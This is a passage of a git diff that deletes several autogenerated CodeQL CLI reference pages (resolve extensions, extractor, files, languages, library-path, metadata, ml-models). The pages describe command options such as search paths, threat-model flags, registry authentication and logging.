-\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-extensions-by-pack.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-extensions-by-pack.md deleted file mode 100644 index d43124732a72..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-extensions-by-pack.md +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: resolve extensions-by-pack -intro: |- - [Experimental] [Deep plumbing] Determine accessible extensions for - the given paths to pack roots. This includes machine learning models and - data extensions. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli ---- - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve extensions-by-pack <options>... -- <pack>... -``` - -## Description - -\[Deep plumbing] Determine accessible extensions for the given paths to -pack roots. This includes machine learning models and data extensions. - -This plumbing command resolves the set of data extensions and -GitHub-created machine learning models that are available to the paths -passed in as command line arguments. - -Available since `v2.13.3`. - -## Options - -### Primary Options - -#### `<pack>...` - -The path to the root of the packs to resolve extensions for. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--model-packs=<`<name@range>>... - -A list of CodeQL pack names, each with an optional version range, to be -used as model packs to customize the queries that are about to be -evaluated. - -#### `--threat-model=<name>...` - -A list of threat models to enable or disable. - -The argument is the name of a threat model, optionally preceded by a -'!'. If no '!' is present, the named threat model and all of its -descendants are enabled. If a '!' is present, the named threat model -and all of its descendants are disabled. - -The 'default' threat model is enabled by default, but can be disabled -by specifying '--threat-model !default'. - -The 'all' threat model can be used to enable or disable all threat -models. - -The --threat-model options are processed in order. For example, -'--threat-model local --threat-model !environment' enables all of -the threat models in the 'local' group except for the 'environment' -threat model. - -This option only has an effect for languages that support threat models. - -Available since `v2.15.3`. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-extensions.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-extensions.md deleted file mode 100644 index 6a68ad360930..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-extensions.md +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: resolve extensions -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Experimental] [Deep plumbing] Determine accessible extensions. This - includes machine learning models and data extensions. -redirect_from: - - /code-security/codeql-cli/manual/resolve-extensions ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve extensions <options>... -- <query|dir|suite|pack>... -``` - -## Description - -\[Deep plumbing] Determine accessible extensions. This includes machine -learning models and data extensions. - -This plumbing command resolves the set of data extensions and -GitHub-created machine learning models that are available to the query -specifiers passed in as command line arguments. - -## Options - -### Primary Options - -#### `<query|dir|suite|pack>...` - -\[Mandatory] Queries to execute. Each argument is in the form -`scope/name@range:path` where: - -* `scope/name` is the qualified name of a CodeQL pack. -* `range` is a semver range. -* `path` is a file system path. - -If a `scope/name` is specified, the `range` and `path` are optional. A -missing `range` implies the latest version of the specified pack. A -missing `path` implies the default query suite of the specified pack. - -The `path` can be one of a `*.ql` query file, a directory containing one -or more queries, or a `.qls` query suite file. If there is no pack name -specified, then a `path` must be provided, and will be interpreted -relative to the current working directory of the current process. - -To specify a `path` that contains a literal `@` or `:`, use `path:` as a -prefix to the argument, like this: `path:directory/with:and@/chars`. - -If a `scope/name` and `path` are specified, then the `path` cannot be -absolute. It is considered relative to the root of the CodeQL pack. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--model-packs=<`<name@range>>... - -A list of CodeQL pack names, each with an optional version range, to be -used as model packs to customize the queries that are about to be -evaluated. - -#### `--threat-model=<name>...` - -A list of threat models to enable or disable. - -The argument is the name of a threat model, optionally preceded by a -'!'. If no '!' is present, the named threat model and all of its -descendants are enabled. If a '!' is present, the named threat model -and all of its descendants are disabled. - -The 'default' threat model is enabled by default, but can be disabled -by specifying '--threat-model !default'. - -The 'all' threat model can be used to enable or disable all threat -models. - -The --threat-model options are processed in order. For example, -'--threat-model local --threat-model !environment' enables all of -the threat models in the 'local' group except for the 'environment' -threat model. - -This option only has an effect for languages that support threat models. - -Available since `v2.15.3`. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-extractor.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-extractor.md deleted file mode 100644 index 1e20b5ae7d9b..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-extractor.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: resolve extractor -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Deep plumbing] Determine the extractor pack to use for a given - language. -redirect_from: - - /code-security/codeql-cli/manual/resolve-extractor ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve extractor --language=<lang> <options>... -``` - -## Description - -\[Deep plumbing] Determine the extractor pack to use for a given -language. - -## Options - -### Primary Options - -#### `-l, --language=<lang>` - -\[Mandatory] The name of the extractor to locate. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which extractor packs may be found. The -directories can either be the extractor packs themselves or directories -that contain extractors as immediate subdirectories. - -If the path contains multiple directory trees, their order defines -precedence between them: if the target language is matched in more than -one of the directory trees, the one given first wins. - -The extractors bundled with the CodeQL toolchain itself will always be -found, but if you need to use separately distributed extractors you need -to give this option (or, better yet, set up `--search-path` in a -per-user configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--just-check` - -Don't print any output, but exit with code 0 if the extractor is found, -and code 1 otherwise. - -#### `--format=<fmt>` - -Select output format. Choices include: - -`text` _(default)_: Print the path to the found extractor pack to -standard output. - -`json`: Print the path to the found extractor pack as a JSON string. - -`betterjson`: Print details about the found extractor pack as a JSON -string. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-files.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-files.md deleted file mode 100644 index 20052bdb148a..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-files.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: resolve files -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Expand a set of file inclusion/exclusion globs.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-files ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve files <options>... -- <dir> -``` - -## Description - -\[Deep plumbing] Expand a set of file inclusion/exclusion globs. - -This plumbing command is responsible for expanding the command-line -parameters of subcommands that operate on multiple files, identified by -their paths. By default, all files are included, and so running this -command without any filter arguments will collect all files in a -directory. - -The `--include`, `--exclude`, and `--prune` options all take glob -patterns, which can use the following wildcard characters: - -* A single "?" matches any character other than a forward/backward - slash; -* A single "\*" matches any number of characters other than a - forward/backward slash; -* The pattern "\*\*" matches zero or more complete directory - components. - -## Options - -### Primary Options - -#### `<dir>` - -The directory to be searched. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -### Options for limiting the set of collected files - -#### `--include-extension=<.ext>` - -Include all files in the search directory tree that have the given -extension. Typically, you should include the dot before the extension. -For example, passing `--include-extension .xml` will include all files -with the ".xml" extension. This option is incompatible with negated -`--include` options. - -#### `--include=<glob>` - -Include all files and directories in the search directory tree that -match the given glob, using each file and directory's relative path -from the search directory. If the glob begins with a `!` character, the -matching files and directories would instead be excluded. - -`--include` options are processed in order, with later options -overriding earlier ones. For example, -`--include ** --include !sub/*.ts --include sub/main.*` would include -`sub/main.ts` (because it is included by `sub/main.*`), exclude -`sub/index.ts` (because it is excluded by `!sub/*.ts`), and include -`sub/test.js` (because it is included by `**` without being subsequently -excluded.) - -#### `--also-match=<glob>` - -Require all results to also match the given glob, using each file and -directory's relative path from the search directory. This option has -the same structure and the same interpretation as `--include` but -specifies a separate sequence of globs that are applied in conjunction -with `--include`. - -#### `--exclude=<glob>` - -Exclude all files and directories that match the given glob, using each -file and directory's relative path from the search directory. This -option overrides all include options. This option is incompatible with -negated `--include` options. - -#### `--prune=<glob>` - -Exclude all files and directories that match the given glob, using each -file and directory's relative path from the search directory. This -option overrides all include options. This option is incompatible with -negated `--include` options. - -#### `--size-limit=<bytes>` - -Exclude all files whose size exceeds the given limit. The size limit is -in bytes, or in kibibytes (KiB) with the "k" suffix, in mebibytes -(MiB) with the "m" suffix, and in gibibytes (GiB) with the "g" -suffix. This option overrides all include options. - -#### `--total-size-limit=<bytes>` - -Make the command exit with an error if the combined size of all resolved -files would exceed the given limit. The size limit is in bytes, or in -kibibytes (KiB) with the "k" suffix, in mebibytes (MiB) with the "m" -suffix, and in gibibytes (GiB) with the "g" suffix. - -#### `--[no-]follow-symlinks` - -Follow any symbolic links to their targets. - -#### `--[no-]find-any` - -Find at most one match (as opposed to all matches). - -Available since `v2.11.3`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-languages.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-languages.md deleted file mode 100644 index 89f38e458244..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-languages.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: resolve languages -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: List installed CodeQL extractor packs. -redirect_from: - - /code-security/codeql-cli/manual/resolve-languages ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve languages <options>... -``` - -## Description - -List installed CodeQL extractor packs. - -When run with JSON output selected, this command can report multiple -locations for each extractor pack name. When that happens, it means that -the pack has conflicting locations within a single search element, so it -cannot actually be resolved. The caller may use the actual locations to -format an appropriate error message. - -## Options - -### Primary Options - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which extractor packs may be found. The -directories can either be the extractor packs themselves or directories -that contain extractors as immediate subdirectories. - -If the path contains multiple directory trees, their order defines -precedence between them: if the target language is matched in more than -one of the directory trees, the one given first wins. - -The extractors bundled with the CodeQL toolchain itself will always be -found, but if you need to use separately distributed extractors you need -to give this option (or, better yet, set up `--search-path` in a -per-user configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--format=<fmt>` - -Select output format. Choices include: - -`text` _(default)_: Print the paths to extractor packs to standard -output. - -`json`: Print the paths to extractor packs as a JSON string. - -`betterjson`: Print details about extractor packs as a JSON string. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-library-path.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-library-path.md deleted file mode 100644 index 1772f01ffce2..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-library-path.md +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: resolve library-path -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Determine QL library path and dbscheme for a query.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-library-path ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve library-path (--query=<qlfile> | --dir=<dir> | --root-pack=<pkgname>) <options>... -``` - -## Description - -\[Deep plumbing] Determine QL library path and dbscheme for a query. - -Determine which QL library path a particular query should be compiled -against. This computation is implicit in several subcommands that may -need to compile queries. It is exposed as a separate plumbing command in -order to (a) help with troubleshooting, and (b) provide a starting point -for modifying the path in extraordinary cases where exact control is -needed. - -The command will also detect a language and dbscheme to compile a query -against, as these may also depend on autodetecting the language of a QL -query. - -**The command is deeply internal and its behavior or existence may -change without much notice as the QL language ecosystem evolves.** - -## Options - -### Primary Options - -#### `--[no-]find-extractors` - -\[Advanced] Include in the output a summary of `extractor` fields from -the QL packs that the query depends on. This is used only for a few rare -internal cases, and may require more work to compute, so is not turned -on by default. - -#### `--format=<fmt>` - -Select output format. Choices include: - -`lines` _(default)_: Print command line arguments on one line each. - -`json`: Print a JSON object with all the data. - -`path`: Print just the computed library path. - -`dbscheme`: Print just the detected dbscheme. - -`cache`: Print the default compilation cache location, or nothing if -none. - -### Options from the invoking command's command line - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Options for specifying what we're about to compile - -Exactly one of these options must be given. - -#### `--query=<qlfile>` - -The path to the QL file we want to compile. - -Its directory and parent directories will be searched for qlpack.yml or -legacy queries.xml files to determine necessary packs. - -#### `--dir=<dir>` - -The root directory of the pack containing queries to compile. - -#### `--root-pack=<pkgname>` - -\[Advanced] The declared name of a pack to use as root for dependency -resolution. - -This is used when the pack can be found by name somewhere in the search -path. If you know the _disk location_ of your desired root package, -pretend it contains a .ql file and use `--query` instead. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-metadata.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-metadata.md deleted file mode 100644 index 460d87fce410..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-metadata.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: resolve metadata -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Deep plumbing] Resolve and return the key-value metadata pairs from a - query source file. -redirect_from: - - /code-security/codeql-cli/manual/resolve-metadata ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve metadata <options>... -- <file> -``` - -## Description - -\[Deep plumbing] Resolve and return the key-value metadata pairs from a -query source file. - -## Options - -### Primary Options - -#### `<file>` - -\[Mandatory] Query source file from which to extract metadata. - -#### `--format=<fmt>` - -This option is ignored for future compatibility. Pass `json` here to be -sure to get the current JSON output format even in a future version. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-ml-models.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-ml-models.md deleted file mode 100644 index f43e63d1dc34..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-ml-models.md +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: resolve ml-models -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Deprecated] [Experimental] [Deep plumbing] Determine accessible - machine learning models. -redirect_from: - - /code-security/codeql-cli/manual/resolve-ml-models ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve ml-models <options>... -- <query|dir|suite|pack>... -``` - -## Description - -\[Deprecated] \[Deep plumbing] Determine accessible machine learning -models. - -This plumbing command is deprecated. Previously it resolved the set of -GitHub-created machine learning models that were available to the query -specifiers passed in as command line arguments. - -It now returns an empty list of machine learning models. - -## Options - -### Primary Options - -#### `<query|dir|suite|pack>...` - -\[Mandatory] Queries to execute. Each argument is in the form -`scope/name@range:path` where: - -* `scope/name` is the qualified name of a CodeQL pack. -* `range` is a semver range. -* `path` is a file system path. - -If a `scope/name` is specified, the `range` and `path` are optional. A -missing `range` implies the latest version of the specified pack. A -missing `path` implies the default query suite of the specified pack. - -The `path` can be one of a `*.ql` query file, a directory containing one -or more queries, or a `.qls` query suite file. If there is no pack name -specified, then a `path` must be provided, and will be interpreted -relative to the current working directory of the current process. - -To specify a `path` that contains a literal `@` or 